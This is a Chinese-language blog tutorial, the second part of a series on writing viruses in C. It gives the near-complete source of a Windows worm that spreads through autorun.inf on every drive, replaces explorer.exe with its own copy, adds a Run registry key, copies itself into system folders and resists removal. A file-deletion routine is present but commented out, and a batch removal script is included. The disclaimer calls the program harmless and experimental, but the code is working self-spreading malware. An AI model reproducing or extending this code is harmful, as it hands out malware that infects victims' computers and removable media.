用C语言写病毒(2)

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技

术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承

担,本人不负任何责任,否则,请马上离开.

从本篇文章开始,拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护

条理》、《中华人民共和国著作权法》等法律最大限度的制裁!!

点击下载该文件

本版病毒所具有的功能:
1.在所有磁盘的根目录生成svchost.com和autorun.inf文件
2.生成病毒体:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在

explorer.exe前启动
4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)
5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“

资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。
6.连锁能力,将病毒体相连,实现相连复制更新
7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程
8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建
9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下
10.附带删除文件函数(为防止危害,本函数默认不执行)

本病毒到目前为止任何杀毒软件都无法将其查杀
本病毒单机默认使用对机器无害(破坏代码已屏蔽)
提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):

@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.exe c:\windows\explorer.exe
copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
echo 如果本次清除后仍残留有病毒,请再次运行本程序
pause

 核心代码:(全部代码请从附件中下载,请用DEV-CPP运行其中的工程文件,编译后请将结果文件svchost.exe更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)

  
1 /*
2 SK-CHINA
3 SVCHOST virus WRITE BY S.K
4 Compiler:
5 DEV-CPP 4.9.9.2
6 */
7
8 /* SVCHOST.C */
9 /* SVCHOST.EXE */
10 /* SVCHOST.COM */
11 #include < stdio.h > /* 标准输入输出 */
12 #include < string .h > /* 字符串操作 */
13 #include < stdlib.h > /* 其它函数 */
14 #include < process.h > /* 进程控制 */
15 #include < dir.h > /* 目录函数 */
16
17 #define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
18 #define RUBBISH_NUM 5 /*垃圾文件数量*/
19 #define REMOVE_NUM 5 /*删除文件数*/
20 /* ==================================================================== */
21 /*
22 文件AUTORUN.INF内容:
23 1.自动运行SVCHOST.com
24 2.覆盖默认打开命令,使用病毒体作为新的打开方式
25 3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
26 */
27 char * autorun = { " [AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)
28
29 \nshell\\open\\Command = \ " SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)
30
31 \nshell\\explore\\Command = \ " SVCHOST.com /s\" " };
32 /* ===================================================================== */
33 /*
34 添加注册表项:
35 1.自动运行生成病毒体C:\windows\wjview32.com
36 */
37 char * regadd = { " REGEDIT4\n\n
38
39 [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\ " wjview32
40
41 \ " =\"C:\\\\windows\\\\wjview32.com /s\" " };
42 /* ===================================================================== */
43 /*
44 函数:复制文件
45 复制源:infile
46 目的地:outfile
47 成功返回0,失败返回1
48 */
49 int copy( char * infile, char * outfile)
50 {
51 FILE * input, * output;
52 char temp;
53 if (strcmp(infile,outfile) != 0 && ((input = fopen(infile, " rb " )) != NULL) && ((output = fopen
54
55 (outfile, " wb " )) != NULL))
56 {
57 while ( ! feof(input))
58 {
59 fread( & temp, 1 , 1 ,input);
60 fwrite( & temp, 1 , 1 ,output);
61 }
62 fclose(input);
63 fclose(output);
64 return 0 ;
65 }
66 else return 1 ;
67 }
68 /* ===================================================================== */
69 /*
70 函数:通过explorer自动运行
71 成功返回0,失败返回1,2
72 */
73 int autorun_explorer()
74 {
75 FILE * input;
76 if ((input = fopen( " c:\\windows\\system\\explorer.exe " , " rb " )) != NULL)
77 {
78 fclose(input);
79 remove( " c:\\windows\\$temp$ " );
80 remove( " c:\\windows\\system32\\dllcache\\$temp$ " );
81 return 1 ;
82 }
83 copy( " c:\\windows\\explorer.exe " , " c:\\windows\\system\\explorer.exe " );
84 rename( " c:\\windows\\explorer.exe " , " c:\\windows\\$temp$ " );
85 rename( " c:\\windows\\system32\\dllcache\\explorer.exe " , " c:\\windows\\system32
86
87 \\dllcache\\$temp$ " );
88 if (copy( " SVCHOST.com " , " c:\\windows\\explorer.exe " ) == 0 && copy
89
90 ( " SVCHOST.com " , " c:\\windows\\system32\\dllcache\\explorer.exe " ) == 0 )
91 return 0 ;
92 else
93 return 2 ;
94 }
95 /* ===================================================================== */
96 /*
97 函数:添加注册表项
98 成功返回0,失败返回1
99 */
100 int add_reg()
101 {
102 FILE * output;
103 if ((output = fopen( " $$$$$ " , " w " )) != NULL)
104 {
105 fprintf(output,regadd);
106 fclose(output);
107 spawnl( 1 , " c:\\windows\\regedit.exe " , " /s $$$$$ " ,NULL);
108 }
109 }
110 /* ===================================================================== */
111 /*
112 函数:复制病毒 + Autorun.inf自动运行
113 */
114 void copy_virus()
115 {
116 int i,k;
117 FILE * input, * output;
118 char * files_svchost[SVCHOST_NUM] =
119
120 { " svchost.com " , " c:\\windows\\wjview32.com " , " c:\\windows\\system\\MSMOUSE.DLL " , " c:\\windows\\syste
121
122 m32\\cmdsys.sys " , " c:\\windows\\system32\\mstsc32.exe " , " c:\\windows\\explorer.exe " };
123 char temp[ 2 ][ 20 ] = { " c:\\svchost.com " , " c:\\autorun.inf " };
124 for (i = 0 ;i < SVCHOST_NUM;i ++ )
125 {
126 if ((input = fopen(files_svchost[i], " rb " )) != NULL)
127 {
128 fclose(input);
129 for (k = 0 ;k < SVCHOST_NUM;k ++ )
130 {
131 copy(files_svchost[i],files_svchost[k]);
132 }
133 i = SVCHOST_NUM;
134 }
135 }
136 for (i = 0 ;i < SVCHOST_NUM;i ++ )
137 {
138 if ((input = fopen(files_svchost[i], " rb " )) != NULL)
139 {
140 fclose(input);
141 for (k = 0 ;k < 24 ;k ++ )
142 {
143 copy(files_svchost[i],temp[ 0 ]);
144 if ((output = fopen(temp[ 1 ], " w " )) != NULL)
145 {
146 fprintf(output, " %s " ,autorun);
147 fclose(output);
148 }
149 temp[ 0 ][ 0 ] ++ ;
150 temp[ 1 ][ 0 ] ++ ;
151 }
152 i = SVCHOST_NUM;
153 }
154 }
155 }
156 /* ===================================================================== */
157 /*
158 函数:制造垃圾文件
159 */
160 void make_rubbish()
161 {
162 int i;
163 FILE * output;
164 srand( 0 );
165 for (i = 0 ;i < RUBBISH_NUM;i ++ )
166 {
167 int n;
168 char s[ 30 ];
169 n = rand();
170 sprintf(s, " C:\\DESTORY_感染_%d " ,n);
171 if ((output = fopen(s, " w " )) != NULL)
172 {
173 fprintf(output, " %ld%s " ,n * n,s);
174 fclose(output);
175 }
176 }
177 }
178 /* ===================================================================== */
179 /*
180 函数:删除文件
181 */
182 void remove_files()
183 {
184 long done;
185 int i;
186 struct _finddata_t ffblk;
187 char * remove_files[ 3 ] = { " *.txt " , " *.doc " , " *.xls " };
188 for (i = 0 ;i < 3 ;i ++ )
189 {
190 if (_findfirst(remove_files[i], & ffblk) ==- 1 ) continue ;
191 while ( ! done)
192 {
193 remove(ffblk.name);
194 _findnext(done, & ffblk);
195 }
196 _findclose(done);
197 }
198 }
199 /* ===================================================================== */
200 /*
201 主程序
202 使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
203 */
204 int main( int argc, char ** argv)
205 {
206 int contral = 0 ;
207 if (argc > 1 )
208 if (strcmp(argv[ 1 ], " /s " ) == 0 )
209 goto next1;
210 autorun_explorer();
211 spawnl( 1 , " c:\\windows\\system\\explorer.exe " ,NULL);
212 next1:
213 add_reg();
214 copy_virus();
215 make_rubbish();
216 /* remove_files(); */
217 spawnl( 1 , " c:\\windows\\system32\\mstsc32.exe " , " /s " ,NULL);
218 return 0 ;
219 }

你可能感兴趣的:(C语言)